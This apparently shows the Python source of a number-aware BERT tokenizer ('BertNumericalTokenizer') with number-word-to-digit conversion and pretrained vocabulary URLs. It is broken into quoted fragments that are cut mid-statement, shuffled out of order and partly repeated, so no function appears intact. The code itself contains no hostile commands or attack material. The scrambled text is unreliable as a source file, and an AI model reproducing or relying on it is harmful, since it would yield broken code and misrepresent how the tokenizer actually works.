\"\"\"Constructs a BertNumericalTokenizer.", "to tokenize Chinese characters. This should likely be deactivated for", "handled by text2num function . convert \"digit digitword\" (24 hundred)", "return zip(output_tokens,split_sigfigs) # return output_tokens, # _numbers = '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' #", "a number of sorts\") elif i != 0: magnitude =", "'quadrillion': 1000000000000000.0, 'quintillion': 1000000000000000000.0, 'sextillion': 1000000000000000000000.0, 'septillion': 1000000000000000000000000.0, 'octillion': 1000000000000000000000000000.0,", "'nonillion': 1000000000000000000000000000000.0, } class NumberException(Exception): def __init__(self, msg): Exception.__init__(self, msg)", "i in range(n)]) def check_int(s): if s[0] in ('-', '+'):", "of text.\"\"\" text = unicodedata.normalize(\"NFD\", text) output = [] for", "<= 96) or (cp >= 123 and cp <= 126)):", "\"a {hundred,thousand...}\" to \"one {hundred,thousand,...}\" so it can be handled", "return new_words, sigs # ​ # def normalize_numbers_in_sent(sent, remove_pos=False, never_split=None):", "\"\"\"Loads a vocabulary file into a dictionary.\"\"\" vocab = collections.OrderedDict()", "vocabulary indices are not consecutive.\" \" Please check that the", "sentence \"\"\" out_words = [] words, sigfigs = preprocess(sent, remove_pos,", "\"\"\" out_string = ' '.join(tokens).replace(' ##', '').strip() return out_string def", "the English models now, but it doesn't # matter since", "print_function, unicode_literals import collections import logging import os import sys", "80.0, 'ninety': 90.0 } Magnitude = { 'thousand': 1000.0, 'million':", "elif is_bad: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0) else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens) assert", "in ['infinity', 'inf', 'nan']: int_word = float(new_word) # words[i] =", "is not corrupted!\".format(vocab_file)) index = token_index writer.write(token + u'\\n') index", "text: cat = unicodedata.category(char) if cat == \"Mn\": continue output.append(char)", "have already been passed through `BasicTokenizer`. Returns: A list of", "= True else: is_number = False except: ValueError is_number =", "logging.getLogger(__name__) VOCAB_FILES_NAMES = {'vocab_file': 'vocab.txt'} PRETRAINED_VOCAB_FILES_MAP = { 'vocab_file': {", "if cat == \"Mn\": continue output.append(char) return \"\".join(output) def _run_split_on_punc(self,", "if type(sent) is str: words = [word.lower() for word in", "\"\"\" output_tokens = [] numeric_values = [] numeric_mask = []", "token not to split. **tokenize_chinese_chars**: (`optional`) boolean (default True) Whether", "'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", } } PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES =", "one-wordpiece-per-line vocabulary file do_lower_case: Whether to lower case the input.", "pre-trained model you are loading is a cased model but", "cp): \"\"\"Checks whether CP is the codepoint of a CJK", "= False except: ValueError is_number = False end = len(chars)", "we treat them # as whitespace since they are generally", "\" \"you may want to check this behavior.\") kwargs['do_lower_case'] =", "whitespace cleaning and splitting on a piece of text.\"\"\" text", "24000000000000 (mix of digits and words) new_words = [] sigs", "path '{}'. To load the vocabulary from a Google pretrained", "BertNumericalTokenizer from pre-trained vocabulary files. \"\"\" if pretrained_model_name_or_path in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES:", "unicodedata from io import open from transformers import PreTrainedTokenizer logger", "cleanup on text.\"\"\" output = [] for char in text:", "cp == 0 or cp == 0xfffd or _is_control(char): continue", "vocab_file, do_lower_case=True, do_basic_tokenize=True, never_split=None, unk_token=\"[UNK]\", sep_token=\"[SEP]\", pad_token=\"[PAD]\", cls_token=\"[CLS]\", mask_token=\"[MASK]\", tokenize_chinese_chars=True,", "'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\",", "{ 'vocab_file': { 'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased':", "https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" super(BertNumericalTokenizer, self).__init__(unk_token=unk_token, sep_token=sep_token, pad_token=pad_token, cls_token=cls_token, mask_token=mask_token, **kwargs) if", "new_word[:-2] try: if new_word not in ['infinity', 'inf', 'nan']: int_word", "numeric_values.append(self.default_value) numeric_mask.append(0) continue is_bad = False start = 0 sub_tokens", ". convert \"a {hundred,thousand...}\" to \"one {hundred,thousand,...}\" so it can", "return super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs) class NumericalTokenizer(object): \"\"\"Runs basic tokenization", "a Google pretrained \" \"model use `tokenizer = BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab", "convert \"a {hundred,thousand...}\" to \"one {hundred,thousand,...}\" so it can be", "Japanese and Korean characters, # despite its name. The modern", "and The HuggingFace Inc. team. # # Licensed under the", "if cat.startswith(\"P\") and cp != 46: if cat.startswith(\"P\"): return True", "if do_split: output.append([char]) start_new_word = True else: if start_new_word: output.append([])", "Hiragana and Katakana. Those alphabets are used to write #", "cls_token=cls_token, mask_token=mask_token, **kwargs) if not os.path.isfile(vocab_file): raise ValueError( \"Can't find", "a sentence, perform preprocessing and normalize number words to digits.", "Whether to tokenize Chinese characters. This should likely be deactivated", "['infinity', 'inf', 'nan']: numeric_value = float(token) is_number = True else:", "\"+word) return mantissa def generate_ngrams(sentence, n): return zip(*[sentence[i:] for i", "\"\"\" vocab_files_names = VOCAB_FILES_NAMES pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES", "**never_split**: (`optional`) list of string List of tokens which will", "Unicode block is NOT all Japanese and Korean characters, #", "and the underlying BERT model's sequence length. never_split: List of", "through `BasicTokenizer`. Returns: A list of wordpiece tokens. \"\"\" output_tokens", "self.tokenize_chinese_chars: text = self._tokenize_chinese_chars(text) orig_tokens = whitespace_tokenize(text) split_tokens = []", "len(numeric_values) == len(output_tokens) == len(numeric_mask) return zip(output_tokens, numeric_values, numeric_mask) def", "output] def _tokenize_chinese_chars(self, text): \"\"\"Adds whitespace around any CJK character.\"\"\"", "or char == \"\\r\": return False cat = unicodedata.category(char) if", "'billion': 1000000000.0, 'trillion': 1000000000000.0, 'quadrillion': 1000000000000000.0, 'quintillion': 1000000000000000000.0, 'sextillion': 1000000000000000000000.0,", "512, 'bert-large-uncased-whole-word-masking-finetuned-squad': 512, 'bert-large-cased-whole-word-masking-finetuned-squad': 512, 'bert-base-cased-finetuned-mrpc': 512, } def load_vocab(vocab_file):", "into its word pieces. This uses a greedy longest-match-first algorithm", "sent: sentence (str) :return: a list of normalized words from", "text.\"\"\" text = text.strip() if not text: return [] tokens", "a piece of text into its word pieces. This uses", "#ACTUAL NUMBER HERE output_tokens.append(self.unk_num) numeric_values.append(numeric_value) numeric_mask.append(1) elif is_bad: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9", "Wikipedia.). if self.tokenize_chinese_chars: text = self._tokenize_chinese_chars(text) orig_tokens = whitespace_tokenize(text) split_tokens", "index != token_index: logger.warning(\"Saving vocabulary to {}: vocabulary indices are", "= do_lower_case self.never_split = never_split self.tokenize_chinese_chars = tokenize_chinese_chars def tokenize(self,", "(`optional`) boolean (default True) Whether to lower case the input", "except ValueError: raise NumberException(\"First must be a number of sorts\")", "never_split is None: never_split = [] self.do_lower_case = do_lower_case self.never_split", "treated specially and handled # like the all of the", "@classmethod def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs): \"\"\" Instantiate a BertNumericalTokenizer", "if get_numeric_masks: return numeric_masks if get_values: return numeric_values assert len(split_tokens)", "self.never_split = never_split self.tokenize_chinese_chars = tokenize_chinese_chars def tokenize(self, text, never_split=None):", "check this behavior.\") kwargs['do_lower_case'] = True return super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path, *inputs,", "'inf', 'nan']: numeric_value = float(token) is_number = True else: is_number", "new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]} {words_lower[i+1]}') i += 1 else: new_words.append(words[i])", "new_word = words_lower[i].replace(',', '') if new_word.endswith(('th', 'rd', 'st', 'nd')): new_word", "# return True return False def _clean_text(self, text): \"\"\"Performs invalid", "cat.startswith(\"P\") and cp != 46: if cat.startswith(\"P\"): return True return", "cls)._from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs) class NumericalTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting,", "else: # non-number word raise NumberException(\"Unknown number: \"+word) return mantissa", "= text.split() return tokens class BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\" Constructs a BertTokenizer.", "and cp <= 0x4DBF) or # (cp >= 0x20000 and", "else: new_words.append(words[i]) sigs.append('') if i == len(words) - 2: new_words.append(words[i+1])", "float(token) is_number = True else: is_number = False except: ValueError", "False else: do_split = False if do_split: output.append([char]) start_new_word =", "'bert-base-cased': 512, 'bert-large-cased': 512, 'bert-base-multilingual-uncased': 512, 'bert-base-multilingual-cased': 512, 'bert-base-chinese': 512,", "despite its name. The modern Korean Hangul alphabet is a", "if start > 0: substr = \"##\" + substr if", "word in sent.strip().split()] elif type(sent) is list: words = [word.lower()", "except ValueError: pass # only modify this word if it's", "\"\".join(output) def _run_split_on_punc(self, text, never_split=None): \"\"\"Splits punctuation on a piece", "# like the all of the other languages. if ((cp", "in writing, software # distributed under the License is distributed", "\".join(split_sigfigs)) return zip(output_tokens,split_sigfigs) # return output_tokens, # _numbers = '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?'", "try: number = str(text2num(words[i:j])) if sigfigs[i] == '': out_sigfigs.append(' '.join(words[i:j]))", "'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\",", "whitespace_tokenize(text): \"\"\"Runs basic whitespace cleaning and splitting on a piece", "len(chars): try: if token not in ['infinity', 'inf', 'nan']: numeric_value", "tokenizer.tokenize(sent) # sent = ' '.join(tokens) words_lower = [word.lower() for", "are Chinese # characters in the vocabulary because Wikipedia does", "list(token) if len(chars) > self.max_input_chars_per_word: output_tokens.append(self.unk_token) numeric_values.append(self.default_value) numeric_mask.append(0) continue is_bad", "tokenization: punctuation splitting + wordpiece Args: vocab_file: Path to a", "if new_word not in ['infinity', 'inf', 'nan']: int_word = float(new_word)", "with open(vocab_file, \"w\", encoding=\"utf-8\") as writer: for token, token_index in", "write # space-separated words, so they are not treated specially", "Effective maximum length is always the minimum of this value", "= token.rstrip('\\n') vocab[token] = index return vocab def whitespace_tokenize(text): \"\"\"Runs", "and kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you are loading is", "*inputs, **kwargs) class NumericalTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting, lower", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "License, Version 2.0 (the \"License\"); # you may not use", "of text.\"\"\" if never_split is not None and text in", "= False else: do_split = False if do_split: output.append([char]) start_new_word", "never_split=None): \"\"\" Constructs a BasicTokenizer. Args: **do_lower_case**: Whether to lower", "whitespace around any CJK character.\"\"\" output = [] for char", "you \" \"but you may want to check this behavior.\")", "file into a dictionary.\"\"\" vocab = collections.OrderedDict() with open(vocab_file, \"r\",", "True) Whether to lower case the input Only has an", "block, # as is Japanese Hiragana and Katakana. Those alphabets", "for i in range(len(words)): new_word = words_lower[i].replace(',', '') if new_word.endswith(('th',", "any Chinese data in them (there are Chinese # characters", "them # as whitespace since they are generally considered as", "# punctuation = '$%' # text = self._clean_text(text) # orig_tokens", "[word[:word.rfind('_')] for word in sent.strip().split()] else: words = [word for", "do_lower_case self.never_split = never_split def tokenize(self, text, never_split=None): \"\"\" Basic", "= re.compile(_numbers) class BasicTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting, lower", "Chinese # characters in the vocabulary because Wikipedia does have", "in self.vocab.items()]) self.do_basic_tokenize = do_basic_tokenize self.numerical_tokenizer = NumericalTokenizer(do_lower_case=do_lower_case, never_split=never_split) if", "' '.join(tokens).replace(' ##', '').strip() return out_string def save_vocabulary(self, vocab_path): \"\"\"Save", "the License for the specific language governing permissions and #", "list of string List of tokens which will never be", "False def _clean_text(self, text): \"\"\"Performs invalid character removal and whitespace", "return True cat = unicodedata.category(char) # if cat.startswith(\"P\") and cp", "'quintillion': 1000000000000000000.0, 'sextillion': 1000000000000000000000.0, 'septillion': 1000000000000000000000000.0, 'octillion': 1000000000000000000000000000.0, 'nonillion': 1000000000000000000000000000000.0,", "# orig_tokens = whitespace_tokenize(text) split_tokens, split_sigfigs = normalize_numbers_in_sent(text) output_tokens =", "'nd')): new_word = new_word[:-2] try: if new_word not in ['infinity',", "NumberException(\"Unknown number: \"+word) return mantissa def generate_ngrams(sentence, n): return zip(*[sentence[i:]", "2400 and return the sentence's preprocessed list of words that", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "is str: words = [word.lower() for word in sent.strip().split()] elif", "'bert-large-uncased': 512, 'bert-base-cased': 512, 'bert-large-cased': 512, 'bert-base-multilingual-uncased': 512, 'bert-base-multilingual-cased': 512,", "piece of text into its word pieces. This uses a", "None and text in never_split: return [text] chars = list(text)", "List of token not to split. \"\"\" # digits =", "in the CJK Unicode block: # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) # # Note", "ValueError: raise NumberException(\"First must be a number of sorts\") elif", "vocabulary to {}: vocabulary indices are not consecutive.\" \" Please", "doesn't # matter since the English models were not trained", "not consecutive.\" \" Please check that the vocabulary is not", "text, never_split=None): \"\"\" Basic Numerical Tokenization of a piece of", "split_tokens.append(sub_token) numeric_values.append(numeric_value) numeric_masks.append(numeric_mask) if numeric_value != self.default_value: split_sigfigs.append(sigfig) else: split_sigfigs.append('-1')", "< len(chars): char = chars[i] #dont split on periods if", "behavior.\") kwargs['do_lower_case'] = False elif '-cased' not in pretrained_model_name_or_path and", "ordinal numbers for i in range(len(words)): new_word = words_lower[i].replace(',', '')", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", } } PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = { 'bert-base-uncased': 512,", "is a punctuation character.\"\"\" cp = ord(char) # We treat", "remove_pos=False, never_split=None): \"\"\" Given a sentence, perform preprocessing and normalize", "An artificial maximum length to truncate tokenized sequences to; Effective", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "if cat.startswith(\"C\"): return True return False def _is_punctuation(char): \"\"\"Checks whether", "BasicTokenizer. Args: **do_lower_case**: Whether to lower case the input. **never_split**:", "_convert_token_to_id(self, token): \"\"\" Converts a token (str/unicode) in an id", "s[1:].isdigit() return s.isdigit() def preprocess(sent, remove_pos=False, never_split=None): \"\"\" Preprocess the", "do_split = True else: if not chars[i-1].isdigit(): do_split = True", "= True break sub_tokens.append(cur_substr) start = end if is_number: #ACTUAL", "'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", } }", "# if _is_punctuation(char) and not chars[i-1].isdigit() or _is_punctuation(char) and i", "set \" \"`do_lower_case` to False. We are setting `do_lower_case=True` for", "numeric_value = float(token) is_number = True else: is_number = False", "has an effect when do_wordpiece_only=False \"\"\" vocab_files_names = VOCAB_FILES_NAMES pretrained_vocab_files_map", "token = token.rstrip('\\n') vocab[token] = index return vocab def whitespace_tokenize(text):", "9.0, 'ten': 10.0, 'eleven': 11.0, 'twelve': 12.0, 'thirteen': 13.0, 'fourteen':", "True else: is_number = False except: ValueError is_number = False", "in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if '-cased' in pretrained_model_name_or_path and kwargs.get('do_lower_case', True): logger.warning(\"The", "they are not treated specially and handled # like the", "is_number = False end = len(chars) cur_substr = None while", "i = 0 while i < len(words)-1: if check_int(words_lower[i]) and", "These are technically control characters but we count them as", "Basic Tokenization of a piece of text. Split on \"white", "punctuation anyways, for # consistency. if ((cp >= 33 and", "specially and handled # like the all of the other", "= unicodedata.category(char) if cat == \"Zs\": return True return False", "a punctuation character.\"\"\" cp = ord(char) # We treat all", "that the CJK Unicode block is NOT all Japanese and", "float(new_word) # words[i] = str(int_word) words[i] = new_word except ValueError:", "cp = ord(char) if self._is_chinese_char(cp): output.append(\" \") output.append(char) output.append(\" \")", "super(BertNumericalTokenizer, self).__init__(unk_token=unk_token, sep_token=sep_token, pad_token=pad_token, cls_token=cls_token, mask_token=mask_token, **kwargs) if not os.path.isfile(vocab_file):", "want to check this behavior.\") kwargs['do_lower_case'] = True return super(BertNumericalTokenizer,", "output_tokens, # _numbers = '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' # fraction_pattern = re.compile(_fraction) #", "+ substr if substr in self.vocab and is_number == False:", "\\t, \\n, and \\r are technically contorl characters but we", "sigs = [] i = 0 while i < len(words)-1:", "# distributed under the License is distributed on an \"AS", "end = len(chars) cur_substr = None while start < end:", "@property def vocab_size(self): return len(self.vocab) def _tokenize(self, text, get_values=False, get_sigfigs=None,", "Small = { 'zero': 0.0, 'one': 1.0, 'two': 2.0, 'three':", "CJK Unicode block is NOT all Japanese and Korean characters,", "# Unless required by applicable law or agreed to in", "'ten': 10.0, 'eleven': 11.0, 'twelve': 12.0, 'thirteen': 13.0, 'fourteen': 14.0,", "it # if _is_punctuation(char) and not chars[i-1].isdigit() or _is_punctuation(char) and", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "in sent.strip().split()] else: words = [word for word in sent.strip().split()]", "'bert-base-chinese': 512, 'bert-base-german-cased': 512, 'bert-large-uncased-whole-word-masking': 512, 'bert-large-cased-whole-word-masking': 512, 'bert-large-uncased-whole-word-masking-finetuned-squad': 512,", "' '.join(tokens) words_lower = [word.lower() for word in words] #", "for (sub_token, numeric_value, numeric_mask) in self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token) numeric_values.append(numeric_value) numeric_masks.append(numeric_mask) if", "token_index: logger.warning(\"Saving vocabulary to {}: vocabulary indices are not consecutive.\"", "English models now, but it doesn't # matter since the", "512, 'bert-base-multilingual-cased': 512, 'bert-base-chinese': 512, 'bert-base-german-cased': 512, 'bert-large-uncased-whole-word-masking': 512, 'bert-large-cased-whole-word-masking':", ">= 0x2A700 and cp <= 0x2B73F) or # (cp >=", "if new_word.endswith(('th', 'rd', 'st', 'nd')): new_word = new_word[:-2] try: if", "but you have not set \" \"`do_lower_case` to False. We", "== len(split_sigfigs) if get_sigfigs: return split_sigfigs return split_tokens def _convert_token_to_id(self,", "'.join(tokens).replace(' ##', '').strip() return out_string def save_vocabulary(self, vocab_path): \"\"\"Save the", "by: . remove commas from numbers (2,000 -> 2000) .", "you are loading is a cased model but you have", "never_split self.tokenize_chinese_chars = tokenize_chinese_chars def tokenize(self, text, never_split=None): \"\"\" Basic", "for word in sent.strip().split()] elif type(sent) is list: words =", "the Apache License, Version 2.0 (the \"License\"); # you may", "pad_token=pad_token, cls_token=cls_token, mask_token=mask_token, **kwargs) if not os.path.isfile(vocab_file): raise ValueError( \"Can't", "= whitespace_tokenize(\" \".join(split_tokens)) output_sigfigs = whitespace_tokenize(\" \".join(split_sigfigs)) return zip(output_tokens,split_sigfigs) #", "characters but we count them as whitespace # characters. if", "non-letter/number ASCII as punctuation. # Characters such as \"^\", \"$\",", "False def _is_control(char): \"\"\"Checks whether `chars` is a control character.\"\"\"", "vocabulary file at path '{}'. To load the vocabulary from", "cur_substr = substr break end -= 1 if cur_substr is", "= ord(char) if self._is_chinese_char(cp): output.append(\" \") output.append(char) output.append(\" \") else:", "if _is_punctuation(char): if i == 0: do_split = True elif", "1000000.0, 'billion': 1000000000.0, 'trillion': 1000000000000.0, 'quadrillion': 1000000000000000.0, 'quintillion': 1000000000000000000.0, 'sextillion':", "control character.\"\"\" # These are technically control characters but we", "should be passed into text2num. \"\"\" if remove_pos: words =", "Path to a one-wordpiece-per-line vocabulary file **do_lower_case**: (`optional`) boolean (default", "a dictionary.\"\"\" vocab = collections.OrderedDict() with open(vocab_file, \"r\", encoding=\"utf-8\") as", "if get_values: return numeric_values assert len(split_tokens) == len(numeric_values) == len(split_sigfigs)", "\"\"\"Constructs a BertNumericalTokenizer. Args: **vocab_file**: Path to a one-wordpiece-per-line vocabulary", "output.append(\" \") else: output.append(char) return \"\".join(output) def _is_chinese_char(self, cp): \"\"\"Checks", "False except: ValueError is_number = False end = len(chars) cur_substr", "= 1.0 never_split = ['[UNK_NUM]'] self.ids_to_tokens = collections.OrderedDict( [(ids, tok)", "on \"white spaces\" only, for sub-word tokenization, see WordPieceTokenizer. Args:", "to; Effective maximum length is always the minimum of this", "text: cp = ord(char) if cp == 0 or cp", "'nan']: numeric_value = float(token) is_number = True else: is_number =", "anything in the CJK Unicode block: # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) # #", "never_split=never_split) words = tokenizer.tokenize(sent) # sent = ' '.join(tokens) words_lower", "BertNumericalTokenizer. Args: **vocab_file**: Path to a one-wordpiece-per-line vocabulary file **do_lower_case**:", "you have set \" \"`do_lower_case` to False. We are setting", "1000000000000.0, 'quadrillion': 1000000000000000.0, 'quintillion': 1000000000000000000.0, 'sextillion': 1000000000000000000000.0, 'septillion': 1000000000000000000000000.0, 'octillion':", "Magnitude_with_hundred: words[i] = 'one' # convert \"24 {Magnitude}\" -> 24000000000000", "# words[i] = str(int_word) words[i] = new_word except ValueError: pass", "underlying BERT model's sequence length. never_split: List of tokens which", "\"\".join(output) def _is_chinese_char(self, cp): \"\"\"Checks whether CP is the codepoint", "unicodedata.category(char) if cat == \"Mn\": continue output.append(char) return \"\".join(output) def", "0x2B81F) or # (cp >= 0x2B820 and cp <= 0x2CEAF)", "never_split=None): \"\"\" Preprocess the sentence by: . remove commas from", ". remove commas from numbers (2,000 -> 2000) . remove", "sigs.append(f'{words_lower[i]} {words_lower[i+1]}') i += 1 else: new_words.append(words[i]) sigs.append('') if i", "deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" super(BertNumericalTokenizer, self).__init__(unk_token=unk_token, sep_token=sep_token, pad_token=pad_token,", "'fifteen': 15.0, 'sixteen': 16.0, 'seventeen': 17.0, 'eighteen': 18.0, 'nineteen': 19.0,", "sigfigs[i] == '': out_sigfigs.append(' '.join(words[i:j])) else: out_sigfigs.append(sigfigs[i]) out_words.append(number) i =", "do_split = False if do_split: output.append([char]) start_new_word = True else:", "not in never_split: token = token.lower() token = self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token))", "NOT all Japanese and Korean characters, # despite its name.", "= index return vocab def whitespace_tokenize(text): \"\"\"Runs basic whitespace cleaning", "64) or (cp >= 91 and cp <= 96) or", "not to split. **tokenize_chinese_chars**: (`optional`) boolean (default True) Whether to", "whitespace # characters. if char == \"\\t\" or char ==", "may want to check this behavior.\") kwargs['do_lower_case'] = True return", "whitespace_tokenize(text): chars = list(token) if len(chars) > self.max_input_chars_per_word: output_tokens.append(self.unk_token) numeric_values.append(self.default_value)", "pieces. This uses a greedy longest-match-first algorithm to perform tokenization", "re.compile(_numbers) class BasicTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting, lower casing,", "is_number = True else: is_number = False except: ValueError is_number", "for you \" \"but you may want to check this", "i = 0 start_new_word = True output = [] while", "== len(output_tokens) == len(numeric_mask) return zip(output_tokens, numeric_values, numeric_mask) def _is_whitespace(char):", "'[UNK_NUM]' self.default_value = 1.0 never_split = ['[UNK_NUM]'] self.ids_to_tokens = collections.OrderedDict(", "def _run_strip_accents(self, text): \"\"\"Strips accents from a piece of text.\"\"\"", "the CJK Unicode block: # https://en.wikipedia.org/wiki/CJK_Unified_Ideographs_(Unicode_block) # # Note that", "== \"\\t\" or char == \"\\n\" or char == \"\\r\":", "only modify this word if it's an int after preprocessing", "cp <= 64) or (cp >= 91 and cp <=", "'septillion': 1000000000000000000000000.0, 'octillion': 1000000000000000000000000000.0, 'nonillion': 1000000000000000000000000000000.0, } class NumberException(Exception): def", "numeric_value, numeric_mask) in self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token) numeric_values.append(numeric_value) numeric_masks.append(numeric_mask) if numeric_value !=", "pre-trained model you are loading is an uncased model but", "# characters in the vocabulary because Wikipedia does have some", "[] numeric_values = [] numeric_mask = [] for token in", "whitespace_tokenize(text) split_tokens = [] for token in orig_tokens: if self.do_lower_case", "tokenize_chinese_chars=True): \"\"\" Constructs a BasicTokenizer. Args: **do_lower_case**: Whether to lower", "since they are generally considered as such. if char ==", "using the vocab. \"\"\" return self.vocab.get(token, self.vocab.get(self.unk_token)) def _convert_id_to_token(self, index):", "given vocabulary. For example: input = \"unaffable\" output = [\"un\",", "split_sigfigs = [] i = 0 for (token, sigfig) in", "index): \"\"\"Converts an index (integer) in a token (string/unicode) using", "under the License is distributed on an \"AS IS\" BASIS,", "False. We are setting `do_lower_case=False` for you but \" \"you", "applied to the English models now, but it doesn't #", "# (cp >= 0x2A700 and cp <= 0x2B73F) or #", "tokenize Chinese characters. This should likely be deactivated for Japanese:", "Hangul alphabet is a different block, # as is Japanese", "= ' '.join(tokens).replace(' ##', '').strip() return out_string def save_vocabulary(self, vocab_path):", "= self._clean_text(text) # orig_tokens = whitespace_tokenize(text) split_tokens, split_sigfigs = normalize_numbers_in_sent(text)", "or (cp >= 123 and cp <= 126)): return True", "{ 'bert-base-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt\", 'bert-large-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased':", "never be split during tokenization. Only has an effect when", "text = self._clean_text(text) # orig_tokens = whitespace_tokenize(text) split_tokens, split_sigfigs =", "def __init__(self, do_lower_case=True, never_split=None): \"\"\" Constructs a BasicTokenizer. Args: **do_lower_case**:", "BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab = load_vocab(vocab_file) self.unk_num = '[UNK_NUM]' self.default_value = 1.0", "to truncate tokenized sequences to; Effective maximum length is always", "a piece of text. Split on \"white spaces\" only, for", "vocab def whitespace_tokenize(text): \"\"\"Runs basic whitespace cleaning and splitting on", "if never_split is not None and text in never_split: return", "[word.lower() for word in sent.strip().split()] elif type(sent) is list: words", "the vocab. \"\"\" return self.vocab.get(token, self.vocab.get(self.unk_token)) def _convert_id_to_token(self, index): \"\"\"Converts", "def tokenize(self, text): \"\"\"Tokenizes a piece of text into its", "(2nd -> 2) . convert \"a {hundred,thousand...}\" to \"one {hundred,thousand,...}\"", "for sub-word tokenization, see WordPieceTokenizer. Args: **never_split**: (`optional`) list of", "(cp >= 123 and cp <= 126)): return True cat", "effect when do_wordpiece_only=False do_basic_tokenize: Whether to do basic tokenization before", ">= 0xF900 and cp <= 0xFAFF) or # (cp >=", "continue is_bad = False start = 0 sub_tokens = []", "2) . convert \"a {hundred,thousand...}\" to \"one {hundred,thousand,...}\" so it", "a one-wordpiece-per-line vocabulary file do_lower_case: Whether to lower case the", "if 